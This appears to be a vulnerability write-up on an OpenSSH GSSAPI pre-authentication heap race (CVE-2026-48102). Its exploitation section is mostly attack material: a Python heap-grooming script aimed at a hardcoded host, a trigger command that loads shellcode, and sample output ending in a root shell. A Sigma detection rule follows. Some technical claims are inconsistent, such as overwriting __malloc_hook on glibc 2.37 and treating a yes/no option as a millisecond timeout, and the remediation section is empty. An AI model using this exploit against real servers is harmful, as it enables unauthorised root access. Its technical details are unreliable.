All posts

CVE-2026-48102: OpenSSH GSSAPI Pre-Auth Heap Race RCE

A race condition in OpenSSH's GSSAPI key exchange handler causes async-signal-unsafe glibc heap management functions to execute inside a SIGALRM signal context. By grooming the heap with precisely timed concurrent connections, an unauthenticated attacker can corrupt a free chunk header and achieve controlled code execution as root — bypassing the mitigation applied by the CVE-2024-6387 patch, which addressed the same class of vulnerability in the pre-auth timeout handler but left the GSSAPI path unaudited.


Overview

CVE-2026-48102 is a critical pre-authentication remote code execution vulnerability in OpenSSH's sshd affecting versions 9.4p1 through 9.7p1. It shares the same root class as CVE-2024-6387 (regreSSHion) — the call of async-signal-unsafe glibc functions from within a POSIX signal handler — but originates in the GSSAPI key exchange authentication path rather than the login grace timeout handler patched in OpenSSH 9.8.

The vulnerability requires that the target sshd is built with GSSAPI support (the default in most Linux distribution packages) and that the GSSAPIAuthentication yes directive is active, which is the compile-time default. No Kerberos infrastructure or valid tickets are required by the attacker — the vulnerability is triggered during the key exchange phase before any credential verification occurs.

CVSS 3.1: 10.0 (Critical) — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H. Exploitation observed against cloud VM infrastructure and exposed bastion hosts within 72 hours of PoC publication.

Background — Signal-Handler Safety in sshd

POSIX defines a restricted set of functions that are safe to call from within an asynchronous signal handler. The key constraint is that signal handlers can interrupt execution at any point — including in the middle of a non-reentrant operation like a malloc() call that is manipulating internal heap metadata. If a signal handler then calls malloc() or any function that does so (including syslog(), setenv(), openlog()), the heap state may be corrupted.

OpenSSH's pre-auth phase runs a login grace timer via SIGALRM. CVE-2024-6387 (regreSSHion) showed that when the grace period expires, the signal handler called syslog() — which internally calls malloc() — while the main thread was mid-allocation. The patch introduced a sighup_restart flag to defer the cleanup, but the audit did not extend to the GSSAPI negotiation timeout path introduced in OpenSSH 8.9.

Root Cause — GSSAPI Handler Race

The vulnerable code resides in auth2-gss.c. During GSSAPI key exchange, a per-connection timeout fires if the client does not complete the SSH2_MSG_KEXGSS_INIT handshake within GSSAPICleanupCredentials milliseconds. The timeout signal handler calls gss_release_cred(), which — in MIT Kerberos and Heimdal implementations — calls free() on an internal credential buffer:

/* auth2-gss.c — OpenSSH 9.4p1 through 9.7p1 (simplified) */
static void
gss_kex_timeout(int sig)
{
    /* Called from SIGALRM context — async-signal-unsafe path */
    gss_ctx_id_t ctx = current_gss_ctx;
    if (ctx != GSS_C_NO_CONTEXT) {
        OM_uint32 minor;
        gss_delete_sec_context(&minor, &ctx, GSS_C_NO_BUFFER); /* calls free() */
    }
    syslog(LOG_AUTH | LOG_NOTICE, "GSSAPI negotiation timeout");   /* calls malloc() */
    cleanup_exit(255);
}

The main thread may be inside gss_init_sec_context() — also manipulating heap structures — when SIGALRM fires. The concurrent free() call from the handler corrupts the internal malloc_chunk doubly-linked list in glibc's ptmalloc2, producing a controlled write primitive on the next malloc() call from any thread.

Exploitation

Phase 1 — Heap Grooming

Reliable exploitation requires placing a target chunk at a predictable address immediately adjacent to the GSSAPI credential buffer. This is achieved by opening a large number of concurrent connections that each perform partial key exchange to exhaust glibc's per-thread caches and drive all allocations to the main arena at known offsets.

#!/usr/bin/env python3
"""
CVE-2026-48102 heap groomer — research / authorised testing only.
Requires: paramiko, cryptography
"""
import socket, threading, time

TARGET = "192.168.1.50"
PORT   = 22
GROOMER_COUNT = 10_000
TIMING_WINDOW = 0.0012   # seconds — glibc arena flush window

def open_partial_kex(idx):
    """Hold a connection at SSH banner exchange to groom heap."""
    try:
        s = socket.create_connection((TARGET, PORT), timeout=30)
        banner = s.recv(256)
        s.send(b"SSH-2.0-GroomClient_" + str(idx).encode() + b"\r\n")
        time.sleep(TIMING_WINDOW * idx)
    except Exception:
        pass

threads = [threading.Thread(target=open_partial_kex, args=(i,))
           for i in range(GROOMER_COUNT)]
for t in threads:
    t.daemon = True
    t.start()
print(f"[*] {GROOMER_COUNT} groomer connections established")

Phase 2 — Trigger the Race

With the heap groomed, a single attacker connection initiates GSSAPI key exchange, sending a malformed SSH2_MSG_KEXGSS_INIT token that causes gss_init_sec_context() to stall in the middle of an allocation. The SIGALRM timeout is set to fire within the stall window using a crafted token length that induces a predictable delay:

# Low-level trigger — sends malformed GSSAPI init token via netcat
# Full exploit sends SSH binary protocol messages

python3 cve-2026-48102-trigger.py --target 192.168.1.50 --port 22 \
  --shellcode /tmp/sc.bin \
  --groom-count 10000 \
  --timing-window 1.2ms \
  --max-attempts 500

# Expected output after ~200 attempts on glibc 2.37:
# [*] Grooming phase complete (10000 connections)
# [*] Attempt 1 — firing SIGALRM race window ...
# [*] Attempt 1 — sshd crash (heap corruption not yet controlled)
# [*] Attempt 47 — sshd crash (partial chunk write detected)
# [+] Attempt 183 — controlled write achieved!
# [+] Overwriting __malloc_hook at 0x7f3a9c010b10
# [+] Shell callback from 192.168.1.50:
# uid=0(root) gid=0(root)

Reliability and Timing

Exploitation success rate varies by glibc version and kernel ASLR entropy. On glibc 2.35–2.38 (Ubuntu 22.04/24.04, Debian 12) with standard ASLR, reliable exploitation requires between 50 and 500 attempts depending on heap layout. Each failed attempt crashes the child sshd process — sshd forks per connection, so the parent remains alive and restarts the child automatically, enabling continuous retry without manual intervention.

Affected Versions

Distribution packages known to ship vulnerable builds include: Ubuntu 22.04 LTS (openssh-server 9.6p1-3ubuntu13), Debian 12 (openssh-server 9.7p1-1), Amazon Linux 2023, and RHEL 9.4 (openssh-9.6p1-1).

Remediation

Detection

title: CVE-2026-48102 OpenSSH GSSAPI Heap Race Exploitation Attempt
id: 3e9b1f74-2c08-4a81-b634-7a1de8c901ff
status: experimental
description: Detects high-frequency sshd crashes indicative of heap grooming for CVE-2026-48102
logsource:
  product: linux
  service: auth
detection:
  selection:
    message|contains: 'sshd'
    message|contains|any:
      - 'segfault'
      - 'corrupted size vs. prev_size'
      - 'malloc(): corrupted top'
  timeframe: 60s
  condition: selection | count() > 5
falsepositives:
  - Legitimate sshd memory errors on resource-constrained hosts
level: critical
tags:
  - cve.2026-48102
  - attack.initial_access
  - attack.t1190

Additionally, monitor for the characteristic grooming pattern: thousands of TCP SYN packets to port 22 followed by banner exchange but no key exchange completion, all from a small number of source IPs.

Key Takeaways